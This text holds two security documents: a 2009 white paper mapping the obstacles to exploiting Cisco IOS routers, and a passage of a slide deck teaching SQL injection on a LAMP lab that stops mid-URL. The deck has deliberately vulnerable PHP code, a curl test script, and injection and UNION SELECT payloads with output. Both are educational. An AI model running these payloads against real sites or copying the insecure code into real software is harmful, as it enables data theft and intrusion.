Recurity Labs GmbH http://www.recurity-labs.com July 26, 2009 Cisco IOS Router Exploitation A map of the problem space Abstract This paper describes the challenges with the exploitation of memory corruption software vulnerabilities in Cisco IOS. The goal is to map out the problem space in order to allow for the anticipation of developments in the future, as current research suggests that exploitation of such vulnerabilities in the wild is not currently the case. By understanding the challenges that an attacker faces, defensive strategies can be better planned, a required evolution with the current state of Cisco IOS router networks. Author Felix 'FX' Lindner Head of Recurity Labs Recurity Labs white-paper Cisco IOS Router Exploitation 1 Introduction Successful exploitation of software vulnerabilities in Cisco IOS has been shown independently by different researchers and groups in the past, employing different techniques and basing of different assumptions. Notable incidents using targeted exploits against Cisco IOS vulnerabilities, known or unknown, have however not been registered by the security community at large. With the development of the Cisco Incident Response tool and free on-line service1, Recurity Labs aimed at the identification of successful compromises of Cisco IOS routers. Since the initial offering of the service, it became apparent that attackers targeting network infrastructure equipment still rely largely on mis-configurations and functional vulnerabilities, such as CVE-2008-0960. This observation indicates a fundamental difference between infrastructure attacks and attacks against network leaf nodes, such as servers and clients of any kind. This paper will highlight reasons for the lack of binary exploits and which developments will herald the dawn of reliable remote exploitation of Cisco IOS based network infrastructure equipment. The author strongly believes that eventually, attacks on network infrastructure will use binary exploitation methods to massively gain unauthorized access. Therefore, research from the offensive point of view must be conducted and published, in order to allow the defenses to be chosen in anticipation of such future developments. 1 Recurity Labs CIR, http://cir.recurity-labs.com 2 Available Vulnerabilities The first observation about Cisco IOS vulnerabilities is, that there is only a small number of them published. Cisco Systems' Product Security Advisory listing2 mentions 14 vulnerabilities for Cisco IOS in 2008. Almost all of the advisories suggest that exploitation of the described issues will at maximum impact cause a denial of service condition. At closer inspection, it appears reasonable to accept that most of the published vulnerabilities are not a form of memory corruption vulnerabilities but rather malfunctions caused by insufficient handling of exceptional states in processing of certain types of network traffic. 2.1 Service Vulnerabilities In the realm of network leaf nodes, vulnerabilities in network exposed services are the most powerful points of entry for the attacker. A network exposed service suffering from a memory corruption vulnerability, preferably before performing any authentication, is the primary target for any exploit developer. Since the purpose of any server on the network is to expose services, attackers have historically focused their efforts onto finding vulnerabilities in them. With the widespread adoption of firewalls, for both enterprise networks and personal computers, the exposure of potentially vulnerable services has massively decreased. Attacker focus has shifted onto the client-side, where untrusted data is constantly handled by a human user, may it be through the delivery of email attachments or through visiting a web site. Attackers can execute even more 2 http://www.cisco.com/en/US/products/products_security_advis ories_listing.html Recurity Labs GmbH – http://www.recurity-labs.com 2/10 Cisco IOS Router Exploitation control over a human controlled web browser than they can over an autonomously running service. Cisco IOS can operate as a network server and network client respectively. IOS network services include a HTTP server for configuration and monitoring, a HTTPS server for the same purpose, Telnet and SSH remote access, a FTP and a TFTP server for remote flash file system access. Memory corruption vulnerabilities in the HTTP, FTP and TFTP services have been identified in the past and proof-of-concept exploits have been developed and published. For attackers seeking to gain control of important network infrastructure, such services are not of interest, as well-managed networks will not make use of such services on their core routing infrastructure. Routers also need to expose services specific to their purpose. This includes services for routing protocol communication (EIGRP, OSPF, ISIS, BGP) as well as network support services, such as DHCP relaying and IPv6 router discovery. In contrast to the aforementioned HTTP and FTP servers, these services are required in most network designs and will be available on a large portion of the networking equipment. However, as most routing protocol services are vulnerable to spoofed routing protocol announcements (unless configured to use MD5 authentication), they are often guarded and rarely exposed to remote networks, e.g. the Internet. The Cisco IOS implementation of the BGP service is a good example, in which the service will not be visible as such to any remote network node. BGP requires a TCP session between two configured peers. If such TCP session is requested from a system not configured as a peer on Cisco IOS, the router will respond with a TCP RST packet, exactly as if the service is not available or configured on the router at all. This simple design reduces the attack surface of the BGP service on Cisco IOS to attacks from systems that were configured as peers by the networking engineer. Other routing specific services, such as OSPF and EIGRP, require the network traffic to be received on an IPv4 multicast address, effectively making sure that the sender is within the same multicast domain as the receiving router. For an attacker on the Internet, such services are of little use as targets, since they are effectively not reachable from the attackers position. A notable exception from this list is the Cisco IOS IP options vulnerability3, where the handling of several IPv4 protocols was implemented incorrectly. Here, the protocols affected were commonly handled when addressed to an IOS router (e.g. ICMP echo requests) and the code generating the response was suffering from a memory corruption vulnerability in the form of a stack based buffer overflow. It is those rare vulnerabilities in services that every network uses and that are reachable all the way across the Internet, that pose a significant threat to Cisco IOS. In the recent past, Cisco has started to add enterprise and carrier services to IOS that will be implemented more widely once the IOS versions incorporating them are considered stable enough by networking engineers. Those new services include4 a rapidly growing set of VoIP services, Lawfull Interception, SSL VPN termination, Web Service Management Agent (allowing configuration of Cisco IOS through a SOAP Web Service), XML-PI and H.323. The more these services are adapted in 3 cisco-sa-20070124-crafted-ip-option 4 http://www.cisco.com/en/US/docs/ios/12_4t/release/notes/124 TNEWF.html Recurity Labs GmbH – http://www.recurity-labs.com 3/10 Cisco IOS Router Exploitation enterprise and carrier networks, the more attack surface the individual routers expose. Once these new services are deployed in a wider scale, the playing field will significantly change with regard to attacks using binary exploitation. Therefore, it should be thoroughly considered by network security engineers if they want additional services on the Cisco IOS routers in their domain of influence. If such new services are unavoidable for any reason, monitoring and post mortem analysis must match the new exposure level of the network infrastructure. 2.2 Client Side Vulnerabilities Cisco IOS suffers from client side vulnerabilities as much as any other network client software, probably even more so. However, the vulnerabilities identified in the past have rarely been even reported to Cisco PSIRT for fixing. The reason is probably that client side vulnerabilities are only useful to attackers if the client is actually used. And since it's likely that Cisco wouldn't care about client vulnerabilities, the incentive to report them is low. Network engineers and support personal doesn't usually use Cisco IOS routers to access other services on the network. Accordingly, attackers can't exploit the vulnerabilities, even if they are known to them. This situation might also change with the introduction of new functionality into Cisco IOS. It depends on the level of control an attacker can execute over the functionality on IOS remotely. If, for example, the attacker can cause an IOS router to connect to a third party HTTP server for any purpose (e.g. VoIP services), the whole range of vulnerabilities in HTTP client code becomes available as an attack vector. But up until now, client side vulnerabilities have not played any role in Cisco IOS attacks. 2.3 Transit Vulnerabilities From the attack vector point of view, the most powerful vulnerability class in Cisco IOS are vulnerabilities, which can be triggered by traffic passing through the router. For the sake of terminology, we will call them Transit Vulnerabilities. Transit Vulnerabilities are extremely rare. Any router is built with the goal of forwarding traffic as fast as possible from one interface to another. Consequently, the number of bytes per packet that are inspected before making the forwarding decision is kept to an absolute minimum. In any routing device above the access layer class, routing decisions can often be taken on the interface or line card already. In those cases, only the first packet of a communication is inspected by higher level software and all following packets are processed in hardware, hereby eliminating the need to even inform the main CPU of the machine that a packet passed through the system. Considering the above, there are situations in which a packet gets “punted”, which is Cisco slang for pushing packets up from fast forwarding mechanisms like CEF to “process switching” or “fast switching”, which use the main CPU for forwarding decisions. Such situations of course include all traffic destined for one of the router's interface addresses, but this wouldn't be transit traffic. More interesting cases are IP fragment reassembly, packets with IP options as well as IPv6 packets that feature hop-by- hop headers, which need to be processed. So far, no true Transit Vulnerability is known to the author. If one would be discovered and successfully exploited, it's effects would be devastating, Recurity Labs GmbH – http://www.recurity-labs.com 4/10 Cisco IOS Router Exploitation especially if the vulnerability is triggered after the forwarding decision was made and the traffic is forwarded to the next hop. 3 Architectural Issues The lack of reliable binary exploits against Cisco IOS is also caused by the architecture of the target software. IOS is a monolithic binary running directly on the hardware of the respective router platform. While it features the look and feel of a head-less operating system, IOS is better compared to a multi- threaded UNIX program. IOS uses a shared flat memory architecture, leveraging the CPUs address translation functionality only to the point where a global memory map comparable to any UNIX ELF binary is created. IOS processes are little more than threads. Every process has its own CPU context and a block of memory as stack, but no further separation from other processes is enforced or enforceable. All processes on IOS share the same heap, a large doubly linked list of memory blocks, referenced by a couple of smaller linked lists for free block tracking. Depending on the router platform, there are additional memory regions that are all accessible from every piece of code running on the machine. IOS uses a run-to-completion scheduling for its processes. All processes that receive execution must return to the scheduler in due time, in order to allow the execution of other processes. In case a process fails to return to the scheduler, a watchdog, supported by CPU hardware, is triggered and causes a so-called Software Forced Crash, which reboots the router. Cisco IOS routers generally run on PowerPC 32 Bit or MIPS 32 or 64 Bit CPUs. Both CPU families support privilege separation for implementing kernel vs. user land execution. None of these features have been observed to be used in IOS so far. Any execution is performed on the highest privilege level the CPU supports, commonly referred to as supervisor level. As a consequence of the architecture discussed above, the default behavior in case of a CPU exception or software detected but unrecoverable data structure consistency problem is to reboot the entire device. The architecture of IOS does not allow for any type of partial restart, since a misbehaving process could have already written into any writable memory area without the CPU noticing. Therefore, the only safe action is to reboot the entire system. This behavior increases the difficulties for reliable exploitation of memory corruption vulnerabilities. On common operating system platforms, primarily the Windows platform, using CPU exception propagation as a way of gaining code execution is a well established practice. On Cisco IOS however, every CPU exception will cause the machine to reboot. This might appear as acceptable for an attacker, but given that network infrastructure of any measurable importance is monitored for crashes and reboots of its components 24 by 7, it raises the bar for reliable exploitation. The same problem also concerns any shellcode that would be executed once control over the instruction flow is obtained. Not only should the shellcode not trigger any CPU exception during its execution, it must also clean up and attempt to return execution to the exploited IOS process in order to allow normal processing to continue. Finally, the allocation of process stacks on the common heap results in another challenge for exploitation. Stack based buffer overflows are the Recurity Labs GmbH – http://www.recurity-labs.com 5/10 Cisco IOS Router Exploitation most simple and versatile memory corruption vulnerabilities, and IOS is not any different in that respect. Unfortunately, the stacks allocated by default to an IOS process are relatively small (6000 bytes) and the call graph of functions within the code is relatively short, so that buffers that could overflow are often close to the upper bound of the stack and hence the heap block. Overflowing the buffer with too much data will often cause overwriting of the next heap block's header. Once the heap header is destroyed, any allocation or deallocation of memory by any process on IOS will trigger a partial heap integrity check and cause the router to reboot when the corrupted heap header is spotted. Additionally, IOS features a process called CheckHeaps, which will periodically (every 30 seconds) traverse the entire heap linked list and verify its integrity, also causing a reboot if any inconsistency is found. Given that both CPU families in Cisco equipment employ fixed size 32 Bit instructions, a stack based buffer overflow is often hard to exploit within the bounds of available space up to the header of the following heap block. 4 The Return Address Cisco IOS images are loaded similar to a regular UNIX program in ELF format. When initialized, the memory is separated into read-only sections for program code and read-only data as well as read- write sections for the data region and the common heap. Ignoring other memory areas that are not executable, such as the so-called IO-Memory, an area dedicated to packet handling on the router, the image's internal layout is the only deciding factor on the resulting memory layout on the router. This poses a tremendous challenge for the exploit developer when control over the instruction pointer is achieved: Where should it point to? Since the stack of any IOS process is an arbitrarily allocated block of memory on the heap, its location is random enough to make it unpredictable. Techniques like Heap spraying only apply to situations where the attacker executes a large amount of control over the target, which is clearly not the case when attacking networking equipment. This leaves only the class of “code reuse” methods, which use existing code on the target to perform their initial bootstrapping before running attacker provided code. 4.1 Return into Known Code Using any “code reuse” method requires to know the exact location of the code that should be reused. This holds true for calling known functions with an attacker prepared stack layout as well as for the technique known as Return Oriented Programming5. Unfortunately, Cisco IOS images are built individually by Cisco engineers and the image content, and hence internal layout, depends on: • Target Cisco platform • Major Version • Minor Version • Image Train • Release Version • Combination of features When querying the Cisco Feature Navigator6 for all known images that support a feature known as “IP 5 https://www.blackhat.com/presentations/bh-usa- 08/Shacham/BH_US_08_Shacham_Return_Oriented_Progra mming.pdf 6 http://www.cisco.com/go/fn Recurity Labs GmbH – http://www.recurity-labs.com 6/10 Cisco IOS Router Exploitation routing” (the most basic functionality on any router), the result shows 272722 different IOS images at the time of this writing. Taking the 7200er platform alone as an example,15878 images are available. This presents a higher uncertainty about the memory layout than any of the address space layout randomization (ASLR) implementations that are in use today on common operating system platforms. Additionally, and in contrast to ASLR, an attacker wishing to leverage “code reuse” on Cisco IOS images will need to have a copy of the same for analysis purposes. However, IOS images are actually a product of Cisco Systems and therefore not legally available for free. Some special image series are not available to anyone outside special interest groups, such as the military or law enforcement. 4.2 Returning to ROMMON To overcome the problem of high uncertainty in memory layout, a memory section is required that allows execution of its contents as code and preferably already contains code at a stable location. Cisco routers use a piece of code called ROMMON as the initially available code to execute after the CPU has been reset. ROMMON is screened into memory at the initial reset vector and serves as bootstrapping code for IOS. The ROMMON also contains functionality for disaster recovery (allowing to load a new image when the available one is broken or corrupted) as well as some basic setup functions. On the Cisco platforms reviewed by the author, ROMMON is placed the uppermost memory regions after the CPU's virtual addressing and address translation has been initialized to match the IOS image's memory map. Therefore, its location is known and invariant. The factor decisive for using ROMMON as return point is the relatively small number of versions published for each router platform. Taking the 2600 access router platform as an example, there are 8 different versions of ROMMON known to the author. With a few exceptions due to hardware support added into later ROMMON versions, deployed infrastructure equipment rarely receives ROMMON upgrades. Therefore, the large majority of the routers runs the ROMMON version that was current when the equipment was manufactured. Since such equipment is usually ordered in bulk when new infrastructure is installed, the versions will neither differ nor will later versions be very common, because the initial version will be sold the most. Applying Return Oriented Programming to the code found in ROMMON, it has been shown7 that 32 Bit arbitrary memory writes to the memory area that contains the exception handlers can be used on PowerPC and MIPS based Cisco routers to gain reliable code execution with stack based buffer overflows. The method employs returns into function epilogues that perform a memory write to a register that was controlled by the attacker already, with the contents of another register under the attacker's control. On PowerPC, these are usually registers that, by the PowerPC ABI, should be saved across function boundaries (i.e. R13 to R31). Beneficial for the attacker is the fact that ROMMON also contains code used to disable the instruction and data cache of the CPU, allowing to write data and directly afterwards execute it as code without cache consistency issues. 7 http://cir.recurity.com/wiki/PPCreliableCodeExec.ashx Recurity Labs GmbH – http://www.recurity-labs.com 7/10 Cisco IOS Router Exploitation 4.3 ROMMON Uncertainty The method of employing ROMMON as the vehicle of choice for more reliable code execution has a couple of drawbacks. The first is connected to the uncertainty about how many versions of ROMMON are to be found in the wild when dealing with any Cisco router platform. Low end routers usually don't support upgrading ROMMON, so not even the vendor web site will give an indication on which versions are to be expected. Even when updates are available for the platform, it is not known how many other versions were initially shipped. Second, the exploit developer will need to obtain a copy of every ROMMON he knows of for the platform he is targeting. Since the initial versions (the ones with the widest distribution) are never available for download, this involves obtaining temporary access to routers that run the most common versions. Additionally, it will be generally hard to say which is the most common version. It should also be noted that an attacker will still need to know the hardware platform of the Cisco router he is attacking, since this will decide the ROMMON memory layout as well as the instruction set for the attacker provided code (i.e. PPC vs. MIPS). The third issue with the ROMMON based method is the inability to ensure the right addresses are used before the exploit is launched. Applicable vulnerabilities and reliable exploits against Cisco equipment have a high monetary value at the time of this writing. Accordingly, attackers in the possession of such an item would rather like to ensure that they will use the right set of addresses before launching the exploit and risking the target to reboot, giving away their presence as well as the valuable exploit itself. 4.4 Code Similarity Analysis Another approach actively researched by the author is finding similarities across a set of IOS images. While the images theoretically differ completely from each other, it can be assumed that images of the same version but different feature sets, as well as images with the same feature set and slightly different release version may contain code sections that differ only slightly. At the time of this writing, outcomes of this research are not available yet. 5 Shellcode The final area in which exploitation of network infrastructure equipment differs significantly from exploitation of network leaf nodes is the attacker provided code. It is common practice within exploitation of network leaf nodes to spawn a shell back to the attacker, either by making it available on a TCP port or by connecting back to the attacker's host. Similar shellcode has been shown for specific IOS images. An alternative method, which proved to be more reliable than a “bind shell”, is to rely on the fact that almost any Cisco IOS router will already have a remote shell service configured, either via Telnet or SSH. By removing the requirement to authenticate on said shell, either through patching the code that performs the validation or by modifying entries in the data structures that hold the authentication configuration for remote terminals, it is easy to use the existing service for obtaining a remote shell. Recurity Labs GmbH – http://www.recurity-labs.com 8/10 Cisco IOS Router Exploitation Once a privileged interactive shell is obtained on a Cisco IOS router, the attacker can use all the functionality provided by IOS to fulfill his goals. Alternatively, the attacker provided code can already implement the desired application of IOS functionality, without requiring the attacker to connect to a shell and manually change the configuration. However, this brings up the question of what could be of interest to an attacker? 5.1 Arbitrary Services using TCL An increasing number of deployed IOS images support scripting from the command line by using TCL scripts. This feature is mostly used to automate monitoring of the device or automatically act upon certain log messages encountered. However, it has been shown8 that TCL scripts can be used for implementing more complex services, including implementation of Botnet clients or making the router participate in the Twitter service. As the number of TCL controllable functionality in Cisco IOS increases, attackers may well find everything they need for the purpose of “regular” on- line crime and fraud by using customized TCL scripts for IOS. 5.2 Ultimate Sniffer It is naïve to assume that a router under an attacker's control can easily be turned into the ultimate password sniffer. Referring back to the packet handling of IOS discussed in 2.3, only a fraction of the traffic is ever visible to the main CPU, which is the context of the executed attacker code. 8 http://ph-neutral.darklab.org/talks/christoph.html Additionally, the run-to-completion scheduler will make the implementation of a password sniffer most challenging. Considering that productive IOS routers of larger types are usually running with their regular CPU utilization well within 40%-60%, the additional load would immediately kill the machine. Even if the CPU resources would be sufficient to perform password sniffing, the sudden increase in traffic latency due to all packets getting “punted” will immediately attract the network engineers attention. This is an area where the introduction and wide scale deployment of lawful interception enabled IOS images within carrier networks may potentially have an impact besides the intended. LI functionality is required to be transparent to the network engineer, i.e. he should not be able to observe an active interception. LI is also designed to most efficiently and selectively copy traffic matching a certain interception rule to a third party as well. When this functionality is available within the image and the attacker is aware of how to control it (e.g. by calling the appropriate functions that would otherwise be triggered through the SNMPv3 CISCO-TAP-MIB and CISCO-TAP2-MIB), he is in the position to selectively monitor traffic that is of interest to him on any remote system that the compromised router can reach. 5.3 MITM Tool Similar to the sniffer scenario, a compromised router of sufficient importance cannot be easily converted into a MITM tool, as the same limitations apply that prevent if from being the ultimate sniffer. However, it is possible with some lines of Cisco IOS routers and images to use Access Control Lists (ACL) to match certain traffic and apply special behavior to it. This functionality could be used within Recurity Labs GmbH – http://www.recurity-labs.com 9/10 Cisco IOS Router Exploitation shellcode to obtain packets that contain information relevant to the attacker, with the strict limitation that the first packet in the conversation must already contain that information of interest. Since the first packet is very likely to get “punted” anyway, the performance impact should be minimal. As an example, any protocol that relies on a sequence number, query ID or other value only known to sender and receiver to prevent spoofing (e.g. TCP, DNS) could be matched and the relevant number pushed out to the attacker. In this scenario, the attacker would be able to arbitrarily spoof DNS replies or inject data into TCP sessions, since the secret value is now know to him. 5.4 Selective Redirection One of the more trivial uses of a compromised router is to selectively redirect clients that attempt to communicate with a specific IP address or range. This is part of the core functionality of a router and therefore does not pose any problems to the attacker, while being relatively hard to identify for the network engineer when not done by configuration changes. Selective redirection is known9 to be a simple and effective tool to prevent regular users from using web sites and services with encryption (HTTPS), as most users first hit the unencrypted HTTP port and expect to be redirected but fail to recognize when that's not the case. 5.5 Other Uses This paper highlights a number of issues with exploitation of Cisco IOS routers. Since stable exploitation is a prerequisite to deploying smart 9 http://www.blackhat.com/html/bh-europe-09/bh-eu-09- speakers.html#Marlinspike shellcode, it is likely that, once some of the problems discussed have been solved, more practical approaches to the use of compromised routers are developed. 6 Conclusion As interest in attacking network infrastructure equipment increases, new players in the field will face the issues discussed in this paper, as well as some that are unknown to this day. It is the strong believe of the author that only be realizing the problems of the offensive party, that we can anticipate potential ways the attackers will be taking in order to circumnavigate or solve these problems. When reliable exploitation and independence or semi-independence from the vast variance of IOS images has been achieved by an attacker, enterprise and carrier networks need to be prepared to change the way and frequency they select and deploy IOS images. This can only be achieved if Cisco changes the way they release images, providing clear and proven update paths that allow a large organization to update to a new IOS version without the issues normally connected with such exercise. In today's Cisco router networks, updating breaks the network's functionality, preventing networking engineers from maintaining recent versions of IOS on their routers. This fact is leaving the network vulnerable to attacks, because the availability of the network is of significantly higher value than the integrity of its core nodes. Recurity Labs GmbH – http://www.recurity-labs.com 10/10
pdf
Hacking SQL Injection for Remote Code Execution on a LAMP stack. Lance Buttars aka Nemus Updated Slides @ https://www.introtobackdoors.com Who am I? Just some guy who likes computer security. Twitter @Nemus801 I work as a PHP/Python application programmer. I am a member of the local Defcon Group www.dc801.org Freenode #dc801. I help organize and run 801 Labs which is a hackerspace located in downtown Salt Lake City. 801 Labs Hacker Space www.801labs.org Websecurity Warriors Podcast http://websecuritywarriors.com/ Prerequisites ● Familiarity with Linux, Apache, MySQL, PHP (LAMP). ○ Linux Operating Systems CLI ○ SQL Databases and Basic SQL ■ http://www.w3schools.com/sql/sql_intro.asp ○ Apache Servers. ○ Basic PHP knowledge. ○ Understanding of HTTP POST and GET ■ http://www.w3schools.com/tags/ref_httpmethods.asp ● LAMP Setup ○ https://www.digitalocean. com/community/tutorials/how-to-install-linux-apache- mysql-php-lamp-stack-on-ubuntu Why Study Attacks? The best defense is a good offense. ● By understanding how SQLi attacks work one can understand what to look for when they believe a web server has been compromised or tampered with. ● By studying attacks it becomes clear how to identify the weak points of a web application's overall architecture. What is SQL Injection? SQL injection is a code injection technique used to attack an application by sending input from a user defined source that is later interpreted and executed by the SQL database. SQL injection attacks work because the input taken from the user input is combined unfiltered or filtered poorly with a SQL statements that is passed to the database that allows the form user to manipulate the query. Scenario Through the point of view of an attacker this presentation will demonstrate the discovery of a SQLi vulnerability, the damaging effect it can cause, and how an attacker could gain Remote Code Execution (RCE). Steps 1. Identify the vulnerability. 2. Fingerprint server. 3. Enumerate data from the database. 4. Upload a backdoor. Lab Setup Environment and Tools For this attack a cURL script will be used to send malicious HTTP requests to a LAMP server. This will simulate a browser via command line. It should be noted that Burp Suite or Zed Attack Proxy Project could be used to do the same thing. This will make running tests easier and allow for the quick generation of malicious urls needed to exploit the web server. Curl Test Script #!/bin/bash curl --get --data-urlencode "id=$1" "http://127.0.0.1/get.php" http://curl.haxx.se/docs/manpage.html -G, --get ● When used, this option will make all data specified with -d, --data, --data- binary or --data-urlencode to be used in an HTTP GET request. --data-urlencode ● performs URL-encoding http://www.w3schools.com/tags/ref_urlencode.asp root@testbox:/# ./get_curl.sh "1" http://127.0.0.1/get.php?id=1 PHP Architecture Architecture 2 Test Database and Data mysql> CREATE DATABASE orders; mysql> USE ORDERS; mysql> CREATE TABLE `orders` ( `orderNumber` int(11) AUTO_INCREMENT, `productCode` varchar(15) NOT NULL, `quantityOrdered` int(11) NOT NULL, `priceEach` double NOT NULL, `orderLineNumber` smallint(6) NOT NULL, PRIMARY KEY (`orderNumber`) ) ENGINE=InnoDB; mysql> INSERT INTO orders (productCode,quantityOrdered,priceEach, orderLineNumber) values ('FAB232RT','30','20.00','1'); http://www.mysqltutorial.org/mysql-sample-database.aspx Users Table CREATE TABLE login( id int(10) NOT NULL AUTO_INCREMENT, username varchar(255) NOT NULL, password varchar(255) NOT NULL, email varchar(255) NOT NULL, PRIMARY KEY (id) ); -- login table with a couple of users using a md5 password insert into login (username,password,email) values ('admin',md5 ('monkey'),'[email protected]'); insert into login (username,password,email) values ('admin',md5 ('test'),'[email protected]'); <?PHP // echo request URL echo "http://".$_SERVER['HTTP_HOST']. $_SERVER['REQUEST_URI'] . "\n"; // Create connection with root no password $con = mysqli_connect("127.0.0.1","root","","orders"); // Check connection if (mysqli_connect_errno()) { echo "Failed to connect to MySQL: " . mysqli_connect_error(); } if(isset($_GET['id'])){ $query = "SELECT * FROM orders where orderNumber =". $_GET['id']; echo $query . "\n"; // display sql statement. $result = mysqli_query($con,$query); } if($result){ while($row = mysqli_fetch_array($result)) { echo print_r($row,true); } }else{ echo "Invalid sql \n"; } mysqli_close($con); echo "\n"; ?> Vulnerable Code Vulnerability Testing So how does an attacker test for SQL injection? Blind SQL Injection & Error Messages ● Blind SQL Injection ○ Blind SQL Injection is a type of an attack that runs valid queries on the database often using timing along with true or false parameters. The results from the timing attacks and the true or false evaluations can help determine if the system is vulnerable. This attack method is used when the web application is configured to NOT show generic error messages.t’ ● Error Message Based or Standard SQL Injection. ○ Is the opposite of a blind attack. ○ Using sql errors we extract data from the system error message. ○ Example: ■ Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in Methods of SQL Injection Strings ● SELECT * FROM Table WHERE id = '1'; Numeric ● SELECT * FROM Table WHERE id = 1; Evaluation ● SELECT * FROM Users WHERE username = $user_name AND password = $Injection_point ○ If the query receives a result the code assumes the statement is true and returned data is used as validation. Expand from http://websec.ca/kb/sql_injection Demonstrated Methodology ● The following examples demonstrate blind testing which does not relying on error messages to build SQLi queries. ● In this scenario the testing will be done using numeric injection. The numeric injection can be inferred from the basis of the “id=1” variable being in the format of an integer. Numeric Injection Testing # 1 AND 1 returns results. Which implies this is possibly vulnerable. root@testbox:/# ./get_curl.sh "1 AND 1" URL:http://127.0.0.1/get.php?id=1%20AND%201 SELECT * FROM orders where orderNumber =1 AND 1 Array( [orderNumber] => 1 [productCode] => ASDFB ……. # 1 AND 0 returns no results. Possibly vulnerable. root@testbox:/# ./get_curl.sh "1 AND 0” URL:http://127.0.0.1/get.php?id=1%20AND%200 SELECT * FROM orders where orderNumber =1 AND 0 # No returned results. Numeric Injection Testing Continued # 1 AND TRUE returns results. Which implies this is possibly vulnerable. root@testbox:/# ./get_curl.sh "1 AND True" URL:http://127.0.0.1/get.php?id=1%20AND%20true SELECT * FROM orders where orderNumber =1 AND true Array( [orderNumber] => 1 [productCode] => ASDFB ……. # 1 AND FALSE returns no results. Possibly vulnerable. root@testbox:/# ./get_curl.sh "1 AND false” URL:http://127.0.0.1/get.php?id=1%20AND%20false SELECT * FROM orders where orderNumber =1 AND false # No returned results. Numeric Injection Testing Continued # 1-false returns 1 result if sql injection possibly vulnerable. root@testbox:/# ./get_curl.sh "1-false" URL:http://127.0.0.1/get.php?id=1-false SELECT * FROM orders where orderNumber =1-false Array( [orderNumber] => 1 [productCode] => ASDFB ……. # 1-true returns no results if sql injection vulnerability exists. root@testbox:/# ./get_curl.sh "1-true"” URL:http://127.0.0.1/get.php?id=1-true SELECT * FROM orders where orderNumber =1-true # No returned results. Numeric Injection Testing Continued # 1*3 returns 3 if sql injection vulnerability exists. root@testbox:/# ./get_curl.sh "1*3" URL: http://127.0.0.1/get.php?id=1%2A3 SELECT * FROM orders where orderNumber =1*3 # 1*3 returns 1 if sql injection DOES NOT EXIST. root@testbox:/# ./get_curl.sh "1*3” URL:http://127.0.0.1/get.php?id=1#todo fix this SELECT * FROM orders where orderNumber =1 Array( [orderNumber] => 1 [productCode] => ASDFB …. Fingerprinting So now that the attacker has identified the vulnerability the next step is to move on to understanding the system architecture. Fingerprinting ● Knowing the system architecture aides the attacker on crafting specific SQL injection queries that later will be used to steal data. ● Most web servers will identify their operating system and web technology in the HTTP request headers. ○ Take note that these headers can be falsified and shouldn't be taken for granted Looking at HTTP Headers curl -v http://10.1.1.6/get.php?id=1 HTTP/1.1 200 OK Date: Wed, 15 Oct 2014 07:30:38 GMT Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.5.17 Content-Length: 497 Connection: close Content-Type: text/html; charset=UTF-8 nmap -sV -p 80 10.254.10.6 PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.2.15 ((CentOS)) https://www.owasp.org/index. php/Testing_for_Web_Application_Fingerprint_%28OWASP-IG-004%29 Nmap Scanning [root@server1 ~]# nmap -A 127.0.0.1 80/tcp open http Apache httpd 2.2.15 ((CentOS)) http-methods: Potentially risky methods: TRACE OS:SCAN(V=5.51%D=7/14%OT=22%CT=1%CU=37534%PV=N%DS=0%DC=L%G=Y%TM=55A4A611%P= OS:x86_64-redhat-linux-gnu)SEQ(SP=105%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A)OPS OS:(O1=MFFD7ST11NW6%O2=MFFD7ST11NW6%O3=MFFD7NNT11NW6%O4=MFFD7ST11NW6%O5=MFF OS:D7ST11NW6%O6=MFFD7ST11)WIN(W1=FFCB%W2=FFCB%W3=FFCB%W4=FFCB%W5=FFCB%W6=FF OS:CB)ECN(R=Y%DF=Y%T=40%W=FFD7%O=MFFD7NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0% OS:Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S= OS:A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R= OS:Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N% OS:T=40%CD=S) Verifying HTTP Via HTTP Print ./httprint -h 10.1.1.6 -s signatures.txt http://net-square.com/httprint.html Finger Printing Completed on http://10.1.1.6:80/ Host: 10.1.1.6 Derived Signature: Apache/2.2.15 (CentOS) 9E431BC86ED3C295811C9DC5811C9DC5811C9DC5505FCFE84276E4BB811C9DC5 0D7645B5811C9DC5811C9DC5CD37187C11DDC7D7811C9DC5811C9DC58A91CF57 FCCC535B6ED3C295FCCC535B811C9DC5E2CE6927050C5D33E2CE6927811C9DC5 6ED3C295E2CE69262A200B4C6ED3C2956ED3C2956ED3C2956ED3C295E2CE6923 E2CE69236ED3C295811C9DC5E2CE6927E2CE6923 Banner Reported: Apache/2.2.15 (CentOS) Banner Deduced: Apache/2.0.x Score: 127 Confidence: 76.51 Database Fingerprinting ● Now that the attacker believes they know the web server architecture it's time to move on to fingerprinting the database. ● To figure out the database software they will need to run database specific commands such as version() and compare the output with results of different database servers. So how is this accomplished? Union Select Poisoning ● UNION will allows the joining of another query to the first query. Effectively joining them into one set. ● Enumerating Table Column Count: ○ Trying from 1 to x integers to find initial column set size. MySQL will fail each time until the correct number of columns have been found. ● Example: ○ SELECT * FROM orders WHERE id = 1 UNIO SELECT 1,2,3,4,5,...,x; Union Select Version ./get_curl.sh "1 UNION SELECT null,null,null,null,VERSION()" URL:http://127.0.0.1/get.php?id=0%20UNION%20SELECT%20%271%27% 2C%271%27%2C%271%27%2C%271%27%2CVERSION%28%29 SELECT * FROM orders where orderNumber =1 UNION SELECT '1','1','1','1', VERSION() Array( [orderNumber] => 1 [productCode] => 1 [quantityOrdered] => 1 [priceEach] => 1 [orderLineNumber] => 5.5.40 ) Fingerprinting with Concatenation Different Databases handle string concatenation with different commands. The following are commands that can be used to verify databases. ● PostgreSQL ○ 'a' || 'b' ● MySQL ○ CONCAT('b','a') ● MS SQL ○ 'a' + 'b' ● Oracle: ○ 'b' || 'b' or CONCAT('b','a') MySQL CONCAT Test ./get_curl.sh "9 UNION SELECT '1','1','1','1', CONCAT('a','b')" http://127.0.0.1/get.php?id=9%20UNION%20SELECT%20%271%27%2C% 